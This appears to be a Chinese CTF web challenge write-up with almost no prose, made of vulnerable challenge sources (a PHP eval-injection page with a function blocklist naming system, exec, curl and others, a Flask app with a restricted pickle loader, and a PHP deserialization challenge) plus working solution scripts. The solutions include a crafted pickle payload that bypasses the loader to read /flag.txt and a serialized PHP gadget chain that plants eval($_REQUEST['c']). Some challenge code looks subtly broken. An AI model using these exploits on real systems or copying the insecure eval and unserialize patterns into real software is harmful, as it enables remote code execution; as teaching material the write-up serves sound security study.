CTF 专题一 2021 网络 WEB 题目解析

<?php
// error_reporting(E_NOTICE);
highlight_file(__FILE__);
@session_start();
$username = @$_GET['whoami'];
if(!@isset($username['admin'])||$username['admin'] != @md5($_SESSION['username'])) {
die('error!');
} else {
if(isset($_GET['code'])) {
$admin = $_GET['code'];
$admin = addslashes($admin);
if(preg_match('/\{openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^}]+)\}/i' , $admin)) {
die('error!');
}
if (intval($admin)) {
eval('"' .$admin .('"./hh.php"') .')}}";');
}
} else {
eval('$flag="' .$admin . '";');
}
}
?>

import base64
import io
import sys
import pickle
import b
from flask import Flask, Response, render_template, request
app = Flask(__name__)
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
class people:
def __init__(self, name, sex, age):
self.name = name
self.sex = sex
self.age=age
def __repr__(self):
return f'people(name={self.name!r}, category={self.sex!r}, age={self.age!r})'
#==判断
def __eq__(self, other):
return type(other) is  people and self.name == other.name and self.sex == other.sex and self.age==other.age
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def here_load(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/',methods=['GET','POST'])
def index():
if request.args.get('source'):
return Response(read(__file__),mimetype='text/plain')
else:
return Response("/?source=")
@app.route('/app', methods=['GET', 'POST'])
def inll():
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'no no no'
else:
result = here_load(base64.b64decode(pickle_data))
if type(result) is not people:
return '？？？？'
correct = (result == people(b.name, b.sex, b.age))
if correct:
return Response(read('/flag.txt'))
except Exception as e:
return Response(str(e))
test = people('test', 'test','55')
pickle_data = base64.b64encode(pickle.dumps(test)).decode()
return Response(pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

import base64
data=b'c__main__\nb\n}(Vname\nVtest\nVage\nV13\nVsex\nVnan\nub0c__main__\npeople\n)\x81}(Vname\nVtest\nVage\nV13\nVsex\nVnan\nub.'
print(base64.b64encode(data))

<?php
error_reporting(0);
highlight_file(__FILE__);
class This{
protected $formatters;
public function want(){
echo "what do you want to do?";
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments)
{
$this->getFormatter($formatter)->patch($arguments[0][1][0]);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
}
class Easy{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
public function welcome(){
echo "welcome CTFer!";
}
}
class Ctf{
protected $ban;
protected $cmd;
public function upup(){
echo "upupupupupupup!";
}
public function __construct()
{
$this->ban='script';
$this->cmd='whoami';
}
public function dispatch($cmd){
call_user_func_array("script",$cmd);
}
}
class Gema{
protected $xbx;
public function gema(){
echo "wish you like this ezp0p!";
}
public function __construct()
{
$this->xbx='script';
}
public function patch($Fire){
call_user_func($this->xbx,$Fire);
}
}
if($_POST['x']!=$_POST['y'] && md5($_POST['x'])===md5($_POST['y'])){
if(file_get_contents(substr($_POST['x'],0,20))!=null){
@unserialize(base64_decode($_POST['data']));
}else{
die('To read this file??');
}
}else{
die('maybe you are right??');
}
?>

<?php
class Gema {
protected $xbx = 'assert';
}
// AAAAAAAAAAAAAA
class This {
protected $formatters = ['dispatch' => 'obj...'];
public function __construct($obj){
$this -> formatters['dispatch'] = $obj;
}
}
class Easy{
protected $events;
protected $event = [1 => ['eval($_REQUEST["c"])']];
public function __construct($obj)
{
$this -> events = $obj;
}
}
$obj = new Easy(new This(new Gema()));
echo base64_encode(serialize($obj));